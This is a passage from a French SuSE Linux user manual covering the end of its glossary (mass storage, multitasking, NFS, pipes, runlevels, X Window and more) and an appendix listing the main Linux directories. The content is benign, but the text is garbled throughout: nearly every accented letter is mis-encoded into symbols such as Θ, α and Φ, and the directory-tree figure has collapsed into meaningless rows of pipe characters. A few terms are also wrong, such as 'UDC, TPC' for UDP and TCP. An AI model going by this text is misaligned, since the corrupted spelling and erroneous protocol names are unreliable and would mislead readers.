  33098.                              MΘmoire de masse (angl. mass storage)
  33099.                                  C'est  un  terme  global  pour  dΘsigner  un  grand  nombre  de  supports  de
  33100.                                  stockage de donnΘes souvent trΦs diffΘrents les uns des autres.
  33101.                                  Les  supports  typiques  sont  les  disquettes,  les  disques  durs,  les  bandes
  33102.                                  magnΘtiques,  les  CD-ROM,  les  disques  magnΘto-optiques,  les  supports
  33103.                                  holographiques et quelques autres.
  33104.  
  33105.                              MΘmoire de travail (angl. memory)
  33106.                                  +  MΘmoire.
  33107.  
  33108.  
  33109. 520
  33110.      ________________________________________________________________________________________________________________B.__Glossaire_*
  33111.  *____________________
  33112.  
  33113.  
  33114.  
  33115. Menu
  33116.     Lorsqu'on utilise une +  interface graphique, on peut accΘder α plusieurs
  33117.     fonctions  d'un  programme  en  passant  par  un  menu.  Les  menus  (tout
  33118.     comme la carte au restaurant) prΘsentent un choix de commandes et op-
  33119.     tions que l'utilisateur peut sΘlectionner et faire exΘcuter. Le plus souvent,
  33120.     un  programme  possΦde  une  barre  de  menu  (angl.  menu  bar)  avec  des
  33121.     sous-menus. Il existe par ailleurs des menus pop-up (menus surgissants
  33122.     ou flottants) qui jaillissent sur le fond d'Θcran et sont appelΘs par un clic
  33123.     de la souris.
  33124.  
  33125. MIME
  33126.     ``Multipurpose Internet Mail Extensions'' ~ conτue au dΘpart pour fournir
  33127.     des extensions E-mail (par exemple son ou images), cette technologie peut
  33128.     Ωtre aussi utilisΘe au delα de ces limites.
  33129.  
  33130. Montage
  33131.     C'est  ainsi  que  l'on  dΘsigne  le  ``rattachement''  de  systΦmes  de  fichiers
  33132.     dans l'arborescence du systΦme. Comme +  point de montage, on se sert
  33133.     en  rΦgle  gΘnΘrale  d'un  rΘpertoire  vide.   Voir  aussi  α  ce  sujet  le  para-
  33134.     graphe 19.11.2 page 500.
  33135.  
  33136. MultitΓche
  33137.     Les  systΦmes  d'exploitation  pouvant  exΘcuter  simultanΘment  plus  d'un
  33138.     +  programme         sont appelΘs systΦmes multitΓches (angl. task = tΓche). On
  33139.     distingue deux formes de multitΓches :
  33140.  
  33141.     ~   le  multitΓche  concurrent  :  Le  systΦme  d'exploitation  est  responsable
  33142.         de  la  rΘpartition  du  temps  CPU  entre  les  diffΘrents  processus.  Une
  33143.         variante particuliΦre est le multitΓche ``prΘemptif''
  33144.  
  33145.     ~   le  multitΓche  coopΘratif  :  Les  processus  restituent  eux-mΩme  leur
  33146.         temps CPU pour permettre de le rΘpartir.
  33147.  
  33148.     Comme nous pouvons le voir, la premiΦre variante constitue la meilleure
  33149.     solution car elle ne permet α aucun processus de s'accaparer la totalitΘ du
  33150.     temps CPU. Linux est un systΦme multitΓche prΘemptif.
  33151.  
  33152. Multiutilisateur (angl. multiuser)
  33153.     Le +  multitΓche est indispensable pour permettre α plusieurs utilisateurs
  33154.     de travailler simultanΘment sur la mΩme machine. Un systΦme d'exploi-
  33155.     tation qui offre cette possibilitΘ est appelΘ un systΦme multiutilisateur.
  33156.  
  33157. Multiprocessing
  33158.     Si  la  machine  sur  laquelle  tourne  un  systΦme  d'exploitation  fonctionne
  33159.     avec plus d'un +  processeur, on parle d'un systΦme multiprocesseur (angl.
  33160.     multiprocessing).  Sous  Linux,  vous  rencontrerez  souvent  le  terme  SMP
  33161.     qui signifie symetric multi processing et constitue une forme spΘciale du
  33162.     mode multiprocesseur.
  33163.  
  33164. NFS (angl. network file system)
  33165.     Protocole pour l'accΦs aux systΦmes de fichiers de machines connectΘes
  33166.     α  un  rΘseau.  Du  c⌠tΘ  du  serveur,  il  est  spΘcifiΘ  dans  le  fichier  de  confi-
  33167.     guration /etc/exports quelle machine est autorisΘe α accΘder α quelle
  33168.  
  33169.  
  33170.                                                                                                                                    *
  33171.  * 521
  33172. B.  Glossaire     _________________________________________________________________________________________________________________*
  33173.  *_______________________________________@
  33174.  
  33175.  
  33176.  
  33177.                                  arborescence des rΘpertoires du serveur. Le client peut alors ``rattacher''
  33178.                                  ces rΘpertoires α son arborescence (voir +  montage).
  33179.  
  33180.                              Niveau d'exΘcution (angl. runlevel)
  33181.                                  C'est le terme employΘ habituellement sous Unix pour dΘfinir le niveau
  33182.                                  jusqu'auquel le systΦme doit monter aprΦs l'amorτage ou jusqu'auquel il
  33183.                                  doit descendre (si l'on souhaite effectuer un changement). C'est le pro-
  33184.                                  gramme init  qui prend en charge les changements de niveaux. Dans son
  33185.                                  fichier  de  configuration  /etc/inittab,  chaque  niveau  (angl.  level)  est
  33186.                                  associΘ α certains services. Le niveau le plus bas, par exemple runlevel 1
  33187.                                  ne met α disposition que le mode mono-utilisateur, le Runlevel 2 permet
  33188.                                  le mode multiutilisateur et ainsi de suite.
  33189.  
  33190.                              Noyau
  33191.                                  Le noyau est le ``coeur'' de l'ensemble du systΦme. C'est dans le noyau
  33192.                                  que se rejoignent tous les fils : la gestion de la mΘmoire, la table des pro-
  33193.                                  cessus,  les  fonctions  multitΓches  et  multiutilisateurs,  les  accΦs  aux  sys-
  33194.                                  tΦmes  de  fichiers,  les  pilotes  permettant  d'accΘder  au  matΘriel  etc.  Ces
  33195.                                  fonctionnalitΘs  peuvent  Ωtre,  en  partie,  rΘalisΘes  sous  forme  de  ``modu-
  33196.                                  les'', voir chapitre 13 page 359.
  33197.  
  33198.  
  33199.                              Page de man
  33200.                                  Pour  les  systΦmes  Unix,  la  documentation  se  trouve  traditionnellement
  33201.                                  dans les ``pages de man'' que l'on peut visualiser avec la commande man   .
  33202.                                  Pour l'utilisation des pages de man, voir paragraphe 19.9 page 494.
  33203.  
  33204.  
  33205.                              PC (angl. personal computer)
  33206.                                  Contrairement au macro-ordinateur, c'est un petit ordinateur ``personnel''.
  33207.                                  Depuis les annΘes 80, on entend en gΘnΘral par ce terme le petit ordinateur
  33208.                                  IBM  basΘ sur Intel x86/88, bien que le tout premier de ce type ait ΘtΘ un
  33209.                                  Apple .
  33210.  
  33211.  
  33212.                              PΘriphΘrique
  33213.                                  Sous Linux, on accΦde aux pΘriphΘriques (angl. devices) au moyen d'en-
  33214.                                  trΘes  spΘciales  dans  le  systΦme  de  fichiers,  sous  /dev/.  Ces  entrΘes
  33215.                                  contiennent les numΘros de pΘriphΘriques qui permettent au +  noyau d'at-
  33216.                                  teindre les pilotes de pΘriphΘriques.
  33217.  
  33218.  
  33219.                              Pipe
  33220.                                  Le pipe (appelΘ quelquefois tube ou tuyau) est la connexion directe entre
  33221.                                  le  canal  de  sortie  standard  d'un  processus  (+  programme)  et  le  canal
  33222.                                  d'entrΘe standard (+  entrΘe/sortie standard) de son successeur. Ceci Θvite
  33223.                                  de stocker dans un fichier temporaire les donnΘes devant Ωtre traitΘes par
  33224.                                  le second processus. Sous l'+  interprΘteur de commandes, les processus
  33225.                                  concernΘs par un pipe sont Θcrits dans l'ordre dans lequel il doivent Ωtre
  33226.                                  exΘcutΘs et sont sΘparΘs les uns des autres par une barre verticale appelΘe
  33227.                                  pipe `|' (ASCII 124).
  33228.  
  33229.  
  33230.                              Point de montage
  33231.                                  On dΘsigne par point de montage le rΘpertoire par lequel une partition ou
  33232.                                  un autre pΘriphΘrique est rattachΘ α l'arborescence des rΘpertoires Linux.
  33233.  
  33234.  
  33235. 522
  33236.      ________________________________________________________________________________________________________________B.__Glossaire_*
  33237.  *____________________
  33238.  
  33239.  
  33240.  
  33241. Proc
  33242.     Le systΦme de fichiers /proc, contrairement α un systΦme de fichiers sur
  33243.     support de donnΘes, ne contient pas de donnΘes statiques. Il crΘe celles-ci
  33244.     de faτon dynamique α partir des informations du noyau. Il est principa-
  33245.     lement utilisΘ pour fournir aux programmes du systΦme (par exemple ps ,
  33246.     mount ) les donnΘes actuelles contenues dans le noyau ou pour permettre
  33247.     des modifications de paramΦtres pendant le temps d'exΘcution.
  33248.  
  33249. Processeur
  33250.     +  CPU
  33251.  
  33252. Processus (angl. process)
  33253.     Un processus est en quelque sorte la variante ``vivante'' d'un programme
  33254.     ou d'un fichier exΘcutable (+  interprΘteur de commandes). Ce terme est
  33255.     souvent employΘ comme synonyme de tΓche.
  33256.  
  33257. Programme
  33258.     DΘsigne une suite d'instructions cohΘrentes et logiques donnΘes α un or-
  33259.     dinateur  qui  les  comprend.  Elles  peuvent  se  prΘsenter  sous  forme  d'un
  33260.     code  directement  exΘcutable  par  la  machine  ou  sous  forme  de  donnΘes
  33261.     d'entrΘe pour un interprΘteur. Sous Linux, les fichiers qui contiennent de
  33262.     telles instructions sont marquΘs par le bit x dans le champ de permissions
  33263.     des fichiers. Le noyau le reconnaεt et cherche α exΘcuter ces fichiers.
  33264.  
  33265. Prompt
  33266.     +  Invite.
  33267.  
  33268. Protocole (angl. protocol)
  33269.     Les protocoles rΦglent, tant au niveau matΘriel qu'au niveau logiciel, la
  33270.     communication entre les machines dans un +   rΘseau. Ils dΘterminent le
  33271.     format des donnΘes transmises, dΘfinissent dans quels intervalles de temps
  33272.     une machine peut transmettre des donnΘes, quelle machine contr⌠le une
  33273.     connexion  etc.  Quelques  protocoles  bien  connus  sont  FTP,  UDC,  TPC,
  33274.     HTTP et autres.
  33275.  
  33276. RAM (angl. Random Access Memory)
  33277.     MΘmoire physique de capacitΘ limitΘe qui permet des accΦs de lecture et
  33278.     d'Θcriture relativement rapides.
  33279.  
  33280. RΘinitialisation (angl. reset)
  33281.     Lorsque la machine ne rΘpond plus et ne rΘagit α aucune des commandes
  33282.     de l'utilisateur, elle se trouve trΦs souvent bloquΘe dans une boucle infinie.
  33283.     La  seule  solution  dans  un  tel  cas  consiste  α  ramener  la  machine  dans
  33284.     un Θtat de dΘpart bien dΘfini. Cette opΘration s'appelle rΘinitialisation ou
  33285.     reset. AprΦs une rΘinitialisation, la machine se trouve dans l'Θtat o∙ elle
  33286.     se trouvait directement aprΦs l'allumage. Il est prΘfΘrable d'effectuer une
  33287.     rΘinitialisation plut⌠t que d'Θteindre et de rallumer la machine car elle est
  33288.     ainsi beaucoup moins secouΘe mΘcaniquement et Θlectriquement.
  33289.     IMPORTANT  :  Comme  il  est  facile  α  comprendre,  une  rΘinitialisation
  33290.     provoque une perte de toutes les donnΘes qui Θtaient stockΘes en mΘmoire
  33291.     avant la rΘinitialisation !
  33292.  
  33293. RΘpertoire (angl. directory)
  33294.     Les ``rΘpertoires'' constituent la structure hiΘrarchique d'un +  systΦme de
  33295.  
  33296.  
  33297.                                                                                                                                    *
  33298.  * 523
  33299. B.  Glossaire     _________________________________________________________________________________________________________________*
  33300.  *_______________________________________@
  33301.  
  33302.  
  33303.  
  33304.                                  fichiers. Le rΘpertoire contient la liste des noms de fichiers ou de rΘper-
  33305.                                  toires. On dit qu'un +  fichier x se trouve dans un rΘpertoire y lorsque son
  33306.                                  nom y est mentionnΘ. Le fait que dans un rΘpertoire il soit fait mention
  33307.                                  d'autres rΘpertoires permet de structurer le systΦme de fichiers sous forme
  33308.                                  d'une arborescence. Pour visualiser un autre rΘpertoire, on peut se dΘpla-
  33309.                                  cer vers celui-ci. On descend ainsi d'un Θchelon dans l'arborescence. Les
  33310.                                  fichiers sont les feuilles de cette arborescence dans lesquelles il n'est plus
  33311.                                  possible (logiquement) de descendre. Les noms de rΘpertoires sont sou-
  33312.                                  mis aux mΩmes restrictions que ceux des fichiers. Les noms de rΘpertoires
  33313.                                  spΘciaux `.' et `..' dΘsignent soit le rΘpertoire lui-mΩme, soit son prΘ-
  33314.                                  dΘcesseur dans la hiΘrarchie du systΦme de fichiers.
  33315.  
  33316.                              RΘpertoire personnel (angl. home directory)
  33317.                                  Le rΘpertoire personnel est le point de dΘpart de la plupart des activitΘs
  33318.                                  d'un utilisateur dans le systΦme. L'utilisateur peut y stocker des donnΘes
  33319.                                  lui appartenant en propre. Il est seul, avec +  l'administrateur systΦme, α
  33320.                                  avoir  des  accΦs  d'Θcriture  aux  fichiers  de  ce  rΘpertoire.  L'emplacement
  33321.                                  du rΘpertoire personnel dans le systΦme de fichiers est dΘterminΘ par la
  33322.                                  +  variable d'environnement               HOME.  Ce  rΘpertoire  est  symbolisΘ  par  ` '
  33323.                                  (voir paragraphe 19.6 page 486).
  33324.  
  33325.                              RΘpertoire racine (angl. root directory)
  33326.                                  C'est le rΘpertoire situΘ au sommet du +   systΦme de fichiers. Contraire-
  33327.                                  ment  α  tous  les  autres  rΘpertoires  du  systΦme  de  fichiers,  le  rΘpertoire
  33328.                                  racine n'a pas de rΘpertoire pΦre. Le nom de rΘpertoire `..' se rΘfΦre α
  33329.                                  lui-mΩme. Le rΘpertoire racine est reprΘsentΘ par `/' sous UNIX.
  33330.  
  33331.                              RΘseau (angl. net, network)
  33332.                                  Le  rΘseau  est  un  interconnexion  de  plusieurs  machines.  Il  existe  diffΘ-
  33333.                                  rentes topologies de rΘseaux selon le mode de connexion des machines :
  33334.                                  anneau,  Θtoile,  bus,  arbre  et  autres.  Quelques  standards  matΘriels  bien
  33335.                                  connus sont Ethernet, Token-Ring ou ISDN (en France NumΘris, RNIS).
  33336.                                  Notons  parmi  les  protocoles  logiciels  (sur  diffΘrentes  couches  rΘseau)
  33337.                                  TCP, UDP, IPX et autres.
  33338.  
  33339.                              RΘseau Θtendu (angl. WAN, wide area network)
  33340.                                  Contrairement au +  rΘseau local, c'est un rΘseau de grande envergure qui
  33341.                                  s'Θtend sur une vaste surface gΘographique.
  33342.  
  33343.                              RΘseau local (angl. LAN, local area network)
  33344.                                  Un  rΘseau  local  est  un  rΘseau  qui  s'Θtend  sur  un  rayon  de  petite  taille
  33345.                                  et  qui  est  gΘnΘralement  supervisΘ  par  un  +  administrateur  systΦme.  Les
  33346.                                  rΘseaux  locaux  sont  la  plupart  du  temps  connectΘs  par  des  passerelles
  33347.                                  (angl. gateways) et forment ainsi un +  rΘseau Θtendu.
  33348.  
  33349.                              Rlogin (angl. remote login)
  33350.                                  Avec  un  remote  login,  on  peut  se  connecter  par  +  Internet  sur  une  ma-
  33351.                                  chine  distante  comme  si  l'on  se  trouvait  soi-mΩme  sur  la  +  console  de
  33352.                                  cette machine. Lorsqu'un +  serveur X fonctionne sur les deux machines
  33353.                                  il est mΩme possible d'afficher localement les sorties d'une application X
  33354.                                  en  positionnant  correctement  la  variable  DISPLAY  de  l'environnement
  33355.                                  distant.
  33356.  
  33357.  
  33358. 524
  33359.      ________________________________________________________________________________________________________________B.__Glossaire_*
  33360.  *____________________
  33361.  
  33362.  
  33363.  
  33364. RNIS (angl. ISDN)
  33365.     Acronyme pour ``RΘseau NumΘrique α IntΘgration de Services''. +  ISDN
  33366.  
  33367.  
  33368. ROM (angl. Read-only Memory)
  33369.     MΘmoire morte ne permettant que la lecture seule. Un CD est par exemple
  33370.     une mΘmoire ROM.
  33371.  
  33372. Root
  33373.     +  Administrateur systΦme
  33374.  
  33375. RPM  (rpm   )
  33376.     └  partir  de  la  version  5.0  de  SuSE     Linux,  le  RPM  (rpm   )  (angl.  RPM
  33377.     Package Manager) est le gestionnaire standard de paquetages. Avec rpm   ,
  33378.     il est possible d'installer et de dΘsinstaller des paquetages logiciels et on
  33379.     peut aussi adresser des requΩtes α la base des donnΘes.
  33380.  
  33381. Runlevel
  33382.     +  Niveau d'exΘcution
  33383.  
  33384. Sauvegarde (angl. backup)
  33385.     +  Backup
  33386.  
  33387. SΘlection
  33388.     La sΘlection est l'un des mΘcanismes du serveur X. Avec la souris, on peut
  33389.     sΘlectionner des caractΦres textes sur l'Θcran graphique (en dΘplaτant la
  33390.     souris, dont le bouton gauche doit Ωtre maintenu enfoncΘ, sur la zone de
  33391.     texte que l'on veut sΘlectionner). Cette sΘlection peut Ωtre dΘplacΘe vers
  33392.     une autre application (en plaτant le curseur dans la fenΩtre de l'application
  33393.     concernΘe et en cliquant sur le bouton central de la souris). Cette opΘration
  33394.     s'appelle ``couper/coller'' (angl. Cut & Paste).
  33395.  
  33396. Serveur
  33397.     Le serveur est le plus souvent une machine trΦs puissante qui fournit des
  33398.     donnΘes  et  des  services  α  d'autres  machines  (clients)  connectΘes  au  rΘ-
  33399.     seau. En dehors des machines faisant office de serveurs, il existe Θgale-
  33400.     ment des programmes qui fournissent des services. De tels programmes
  33401.     sont aussi appelΘs serveurs car ils tournent en permanence et sont, de ce
  33402.     fait, tout aussi disponibles que les serveurs matΘriels. Un exemple pour
  33403.     un serveur logiciel est le +  serveur X.
  33404.  
  33405. Serveur X
  33406.     Les  machines  sur  lesquelles  tourne  un  serveur  X  peuvent  utiliser  les
  33407.     services  de  l'+  interface  graphique  ou  du  +  systΦme  X  Window.  L'une
  33408.     des  tΓches  principales  du  serveur  X  est  la  gestion  de  l'affichage.  Nor-
  33409.     malement  chaque  terminal  dispose  d'une  fonction  d'affichage  dont  le
  33410.     nom est contenu dans la +   variable d'environnement DISPLAY qui pos-
  33411.     sΦde le format <nom de machine> :<numΘro d'affichage>. Par exemple
  33412.     terre  :0      .  Il  est  essentiel  de  connaεtre  le  nom  de  l'affichage  pour  le
  33413.     +  Rlogin.
  33414.  
  33415. Shell
  33416.     +  InterprΘteur de commandes
  33417.  
  33418.  
  33419.                                                                                                                                    *
  33420.  * 525
  33421. B.  Glossaire     _________________________________________________________________________________________________________________*
  33422.  *_______________________________________@
  33423.  
  33424.  
  33425.  
  33426.                              SMP (angl. Symmetric Multi Processing)
  33427.                                  +  Multiprocessing.
  33428.  
  33429.  
  33430.                              Swap
  33431.                                  +  MΘmoire d'Θchange
  33432.  
  33433.                              SystΦme d'exploitation (angl. operating system)
  33434.                                  Le systΦme d'exploitation est un programme qui tourne continuellement
  33435.                                  en arriΦre-plan sur une machine et qui constitue la base qui rend possible
  33436.                                  tout  travail  effectuΘ  avec  la  machine.  Le  systΦme  d'exploitation  a  pour
  33437.                                  tΓche de gΘrer toutes les ressources disponibles d'une machine. Sous Li-
  33438.                                  nux, c'est le +  noyau ainsi que les Θventuels modules du noyau et les pro-
  33439.                                  grammes de support sans lesquels le noyau est ``inutile'' qui se chargent de
  33440.                                  ces tΓches. Sous SuSE     Linux, c'est l'ensemble de la sΘrie a (SystΦme de
  33441.                                  base Linux) avec tous ses outils et ses ``dΘmons'' que l'on peut considΘrer
  33442.                                  comme Θtant le systΦme d'exploitation. AmigaOS , Linux , MacOS , OS/2
  33443.                                  UNIX , Windows NT  entre autres sont des systΦmes d'exploitation bien
  33444.                                  connus.
  33445.  
  33446.                              SystΦme de fichiers (angl. filesystem)
  33447.                                  Un  systΦme  de  fichiers  constitue  une  mΘthode  de  structuration  des  fi-
  33448.                                  chiers.  Il  existe  un  trΦs  grand  nombre  de  systΦmes  de  fichiers  dont  les
  33449.                                  performances respectives sont parfois trΦs diffΘrentes. Certains systΦmes
  33450.                                  de fichiers sont Θtroitement liΘs α des types bien prΘcis de support. Il est
  33451.                                  difficile de dire : ``Linux utilise le systΦme de fichiers X''.
  33452.  
  33453.                              SystΦme X Window
  33454.                                  Il  offre  toute  une  collection  de  programmes,  de  protocoles  et  de  rou-
  33455.                                  tines pour la gestion d'une +  interface graphique utilisateur. Le systΦme
  33456.                                  X Window (X en abrΘgΘ) a ΘtΘ dΘveloppΘ dans le cadre du projet Athena
  33457.                                  au  MIT  (Massachusetts  Institute  of  Technology).  Les  principaux  avan-
  33458.                                  tages  de  X  par  rapport  α  d'autres  systΦmes  (par  exemple  MS  Windows
  33459.                                  ou  GEM)  sont  son  support  rΘseau  et  sa  flexibilitΘ.  Il  est  ainsi  possible
  33460.                                  α  l'utilisateur  de  faire  exΘcuter  des  programmes  sur  d'autres  machines
  33461.                                  mais d'en obtenir l'affichage sur son propre Θcran et de choisir librement
  33462.                                  l'aspect et les caractΘristiques de l'interface. Remarque : Non, il ne s'ap-
  33463.                                  pelle pas ``X-Windows'' mais tout simplement et tout bonnement systΦme
  33464.                                  X Window.
  33465.  
  33466.                              TΓche (angl. task)
  33467.                                  +  Processus.
  33468.  
  33469.                              TΓche de fond (angl. background process)
  33470.                                  Si l' +  interprΘteur de commandes est (apparemment) occupΘ α une seule
  33471.                                  tΓche et ne permet pas d'autres saisies, on parle d'une tΓche exΘcutΘe en
  33472.                                  avant-plan. Mais la plupart des interprΘteurs de commandes permettent
  33473.                                  aussi l'exΘcution de processus d'arriΦre-plan ou tΓches de fond.
  33474.  
  33475.                                  Si un processus doit Ωtre exΘcutΘ en tΓche de fond, la ligne de commande
  33476.                                  qui  sert  α  lancer  le  programme  doit  se  terminer  par  le  caractΦre  `&'.
  33477.                                  L'exΘcution d'un processus en tΓche de fond n'est toutefois possible que
  33478.                                  sur un systΦme d'exploitation +  multitΓche.
  33479.  
  33480.  
  33481. 526
  33482.      ________________________________________________________________________________________________________________B.__Glossaire_*
  33483.  *____________________
  33484.  
  33485.  
  33486.  
  33487. Tampon
  33488.     On  entend  par  tampon  une  sorte  de  mΘmoire  intermΘdiaire  qui  permet
  33489.     d'accΘlΘrer  les  accΦs  frΘquents  aux  donnΘes  qui  y  sont  stockΘes.  Sous
  33490.     Linux il existe plusieurs sortes de mΘmoires tampons.
  33491.  
  33492. Task
  33493.     +  Processus.
  33494.  
  33495. Telnet
  33496.     Telnet est le protocole et la commande permettant de communiquer avec
  33497.     d'autres machines.
  33498.  
  33499. Terminal (angl. terminal)
  33500.     Sur  une  machine  multiutilisateur,  c'est  une  combinaison  clavier/Θcran
  33501.     sans  propres  ressources  de  calcul.  Sur  les  stations  de  travail,  ce  terme
  33502.     dΘsigne aussi des programmes qui Θmulent un vΘritable terminal.
  33503.  
  33504. UMSDOS
  33505.     SystΦme de fichiers spΘcial sous Linux qui permet d'accΘder aux fichiers
  33506.     de la mΩme maniΦre que sous UNIX (ce qui inclut les noms de fichiers
  33507.     longs  et  les  droits  d'accΦs).  Bien  que  l'accΦs  soit  plus  lent  que  pour  le
  33508.     systΦme de fichiers EXT2 ``rΘgulier'', le systΦme de fichiers MSDOS est
  33509.     recommandΘ pour le mode dΘmonstration car il ne nΘcessite pas de parti-
  33510.     tion particuliΦre.
  33511.  
  33512. UNIX
  33513.     C'est  un  systΦme  d'exploitation  trΦs  rΘpandu  surtout  sur  les  stations  de
  33514.     travail. Unix supportent des concepts importants tels que par exemple le
  33515.     fonctionnement  des  machines  dans  un  rΘseau.  UNIX  est  composΘ  d'un
  33516.     noyau,  d'un  +  interprΘteur  de  commandes  et  d'applications.  Depuis  les
  33517.     annΘes 90, une version libre et gratuite de UNIX pour +  PC est disponible
  33518.     sous la forme de Linux.
  33519.  
  33520. URL
  33521.     ``Uniform  Resource  Locator'',  sert  par  exempleα  dΘsigner  les  pages
  33522.     HTML sur WWW.
  33523.  
  33524. Variable d'environnement (angl. environment variable)
  33525.     C'est  un  espace  dans  l'+  environnement  de  l'+  interprΘteur  de  com-
  33526.     mandes.  Chaque  variable  a  un  nom,  le  plus  souvent  indiquΘ  en  majus-
  33527.     cules. Il est assignΘ aux variables d'environnement des valeurs comme par
  33528.     exemple nom de chemin. Pour l'interprΘteur de commandes bash, ceci se
  33529.     fait de cette maniΦre :
  33530.  
  33531.     root@terre:/  >  export  EDITOR=emacs
  33532.  
  33533.     Avec la commande env   , on peut connaεtre la dΘfinition actuelle des va-
  33534.     riables.  S'il  est  nΘcessaire  de  connaεtre  la  valeur  d'une  variable,  par
  33535.     exemple  dans  un  script,  en  y  fait  rΘfΘrence  en  faisant  prΘcΘder  le  nom
  33536.     du caractΦre `$'. Les variables d'environnement essentielles sont HOME
  33537.     (contient le chemin du rΘpertoire personnel de l'utilisateur), SHELL (che-
  33538.     min du programme de l'interprΘteur de commandes), USER (nom de l'uti-
  33539.     lisateur), PATH (chemin d'accΦs aux programmes exΘcutables), MANPATH
  33540.     (chemin d'accΦs aux pages de man contenant l'aide en ligne).
  33541.  
  33542.  
  33543.                                                                                                                                    *
  33544.  * 527
  33545. B.  Glossaire     _________________________________________________________________________________________________________________*
  33546.  *_______________________________________@
  33547.  
  33548.  
  33549.  
  33550.                              WAN (angl. wide area network)
  33551.                                  +  rΘseau Θtendu
  33552.  
  33553.                              Wildcards
  33554.                                  Les  deux  caractΦres  `*'  et  ` ?'  sont  des  caractΦres  gΘnΘriques  et  sont
  33555.                                  dΘsignΘs sous le nom de caractΦres jokers ou wildcards. Le caractΦre ` ?'
  33556.                                  tient  la  place  d'un  seul  caractΦre  quelconque  tandis  que  `*'  peut  rem-
  33557.                                  placer n'importe quel nombre de caractΦres quelconques mais peut aussi
  33558.                                  n'en remplacer aucun. Les caractΦres jokers sont utilisΘs dans les expres-
  33559.                                  sions rΘguliΦres. La commande ls  -l  image*          liste tous les fichiers du
  33560.                                  rΘpertoire courant dont le nom est image suivi de n'importe quelles lettres
  33561.                                  (ou d'aucune).
  33562.  
  33563.  
  33564.  
  33565. 528
  33566.  
  33567.                                                                                                            Annexe  C
  33568.                      L'arborescence   des   rΘpertoires
  33569.  
  33570.  
  33571.  
  33572. C.1        Aperτu
  33573.  
  33574. La figure ci-dessous vous montre un petit extrait de l'arborescence des rΘper-
  33575. toires sous|Linux|                                                                                                                 *
  33576.  *                       |
  33577.        ____________________________________________________________________________________________________________________________*
  33578.  *______________________||||
  33579.        ||||||||                                                                                                                    *
  33580.  *                       |
  33581.        ||||||||                                                                                                                    *
  33582.  *                       |
  33583.        ||||||||                                                                                                                    *
  33584.  *                       |
  33585.        ||||||||                                                                                                                    *
  33586.  *                       |
  33587.        ||||||||                                                                                                                    *
  33588.  *                       |
  33589.        ||||||||                                                                                                                    *
  33590.  *                       |
  33591.        ||||||||                                                                                                                    *
  33592.  *                       |
  33593.        ||||||||                                                                                                                    *
  33594.  *                       |
  33595.        ||||||||                                                                                                                    *
  33596.  *                       |
  33597.        ||||||||                                                                                                                    *
  33598.  *                       |
  33599.        ||||||||                                                                                                                    *
  33600.  *                       |
  33601.        ||||||||                                                                                                                    *
  33602.  *                       |
  33603.        ||||||||                                                                                                                    *
  33604.  *                       |
  33605.        ||||||||                                                                                                                    *
  33606.  *                       |
  33607.        ||||||||                                                                                                                    *
  33608.  *                       |
  33609.        ||||||||                                                                                                                    *
  33610.  *                       |
  33611.        ||||||||                                                                                                                    *
  33612.  *                       |
  33613.        ||||||||                                                                                                                    *
  33614.  *                       |
  33615.        ||||||||                                                                                                                    *
  33616.  *                       |
  33617.        ||||||||                                                                                                                    *
  33618.  *                       |
  33619.        ||||||||                                                                                                                    *
  33620.  *                       |
  33621.        ||||||||                                                                                                                    *
  33622.  *                       |
  33623.        ||||||||                                                                                                                    *
  33624.  *                       |
  33625.        ||||||||                                                                                                                    *
  33626.  *                       |
  33627.        ||||||||                                                                                                                    *
  33628.  *                       |
  33629.        ||||||||                                                                                                                    *
  33630.  *                       |
  33631.        ||||||||                                                                                                                    *
  33632.  *                       |
  33633.        ||||||||                                                                                                                    *
  33634.  *                       |
  33635.        ||||||||                                                                                                                    *
  33636.  *                       |
  33637.        ||||||||                                                                                                                    *
  33638.  *                       |
  33639.        ||||||||____________________________________________________________________________________________________________________*
  33640.  *______________________ |
  33641.  
  33642.  
  33643.  
  33644.                                                                                                                                    *
  33645.  *   529
  33646. C.  L'arborescence_des_rΘpertoires_________________________________________________________________________________________________*
  33647.  *_______________________________________@
  33648.  
  33649.  
  33650.  
  33651.                            C.2        RΘpertoires importants
  33652.                            L'arborescence des rΘpertoires de votre systΦme Linux est structurΘe de faτon
  33653.  
  33654.                            fonctionnelle (``systΦme de fichiers standard''). Les rΘpertoires essentiels sont
  33655.                            dΘcrits dans le tableau C.1.
  33656.                            ________________________________________________________________________________________________________*
  33657.  *________
  33658.  
  33659.  
  33660.                               /                                  RΘpertoire racine (angl. root directory), point de
  33661.                                                                  dΘpart de l'arborescence des rΘpertoires
  33662.                               /home                              RΘpertoires (personnels) des utilisateurs
  33663.                               /dev                               Fichiers de pΘriphΘriques (angl. device files) qui
  33664.                                                                  reprΘsentent les composants matΘriels
  33665.                               /etc                               Fichiers importants pour la configuration du sys-
  33666.                                                                  tΦme
  33667.                               /usr/bin                           Commandes accessibles
  33668.                               /bin                               Commandes  dΘjα  nΘcessaires  au  moment  de  la
  33669.                                                                  mise en marche du systΦme
  33670.                               /usr/sbin                          Commandes  rΘservΘes  α  l'administrateur  sys-
  33671.                                                                  tΦme
  33672.                               /sbin                              Commandes  rΘservΘes  α  l'administrateur  sys-
  33673.                                                                  tΦme  et  nΘcessaires  pour  la  mise  en  marche  du
  33674.                                                                  systΦme
  33675.                               /sbin/init.d                       Scripts de dΘmarrage
  33676.                               /usr/include                       Fichiers essentiels pour le compilateur C
  33677.                               /usr/include/g++                   Fichiers essentiels pour le compilateur C++
  33678.                               /usr/doc                           Divers fichiers de documentation
  33679.                               /usr/man                           Textes d'aide (pages de manuel)
  33680.                               /usr/src                           Textes sources des logiciels systΦme
  33681.                               /usr/src/linux                     Sources du noyau
  33682.                               /tmp                               Pour fichiers temporaires
  33683.                               /var/tmp                           Pour fichiers temporaires de grande taille
  33684.                               /usr                               HΘberge   tous   les   programmes   d'application.
  33685.                                                                  Montable  en  lecture  seule.  Fichiers  de  configu-
  33686.                                                                  ration.
  33687.                               /var                               Fichiers  de  configuration  (par  exemple  liΘs  de-
  33688.                                                                  puis /usr
  33689.                               /var/log                           Fichiers de traces
  33690.                               /var/adm                           Administration systΦme
  33691.                               /lib                               BibliothΦques  partagΘes  (pour  programmes  liΘs
  33692.                                                                  dynamiquement)
  33693.                               /proc                              SystΦme de fichiers de processus
  33694.                               /usr/local                         Extensions locales, indΘpendantes de la distribu-
  33695.                                                                  tion
  33696.                               /opt                               Logiciels  optionnels,  importants  systΦmes  (par
  33697.                                                                  exemple KDE)
  33698.  
  33699.                            ________________________________________________________________________________________________________*
  33700.  *________
  33701.  
  33702.                                                    Tab. C.1: Aperτu des rΘpertoires importants
  33703.  
  33704. 530
  33705.  
  33706.                                                                                                            Annexe  D
  33707.                                                                Fichiers   importants
  33708.  
  33709.  
